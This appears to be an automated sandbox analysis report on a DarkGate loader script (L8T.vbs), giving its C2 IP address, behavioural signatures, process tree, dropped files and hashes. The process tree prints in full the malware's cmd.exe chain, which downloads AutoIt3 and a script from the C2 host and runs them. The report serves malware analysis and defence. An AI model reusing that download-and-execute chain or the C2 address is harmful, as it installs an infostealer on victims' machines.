Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2023, 12:25

General

  • Target
    L8T.vbs
  • Size 12KB
  • Sample230925-plnpdagb38
  • SHA256 0cd158900fe34f41e89d06f73259fc8ab24e2eaefb63c915236bf590788d89da
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • darkgate

C2
  • http://94.228.169.143

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\L8T.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3848
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir c:\vjik & cd /d c:\vjik & copy c:\windows\system32\curl.exe vjik.exe & vjik -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & vjik -o gojqfr.au3 http://94.228.169.143:2351/msivjikfjxb & Autoit3.exe gojqfr.au3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4620
      • \??\c:\vjik\vjik.exe
        vjik -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
        3⤵
        • Executes dropped EXE
        PID:4596
      • \??\c:\vjik\vjik.exe
        vjik -o gojqfr.au3 http://94.228.169.143:2351/msivjikfjxb
        3⤵
        • Executes dropped EXE
        PID:2504
      • \??\c:\vjik\Autoit3.exe
        Autoit3.exe gojqfr.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4712

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        Autoit3.exe

        • Path C:\vjik\Autoit3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        vjik.exe

        • Path C:\vjik\vjik.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        vjik.exe

        • Path C:\vjik\vjik.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        gojqfr.au3

        • Path \??\c:\vjik\gojqfr.au3
        • Size 904KB
        • SHA256 1e02e674196885d692c0dbb6e80cffd83e6d54bf244761d051d6b579ac83db40
        • MD5 SHA1 SHA512 SSDEEP

        vjik.exe

        • Path \??\c:\vjik\vjik.exe
        • Size 411KB
        • SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
        • MD5 SHA1 SHA512 SSDEEP

        memory/4712-12-0x0000000000F80000-0x0000000001380000-memory.dmp

        memory/4712-13-0x0000000003BF0000-0x0000000003CE5000-memory.dmp

        memory/4712-14-0x0000000004420000-0x00000000047E3000-memory.dmp

        memory/4712-15-0x0000000003BF0000-0x0000000003CE5000-memory.dmp

        memory/4712-16-0x0000000004420000-0x00000000047E3000-memory.dmp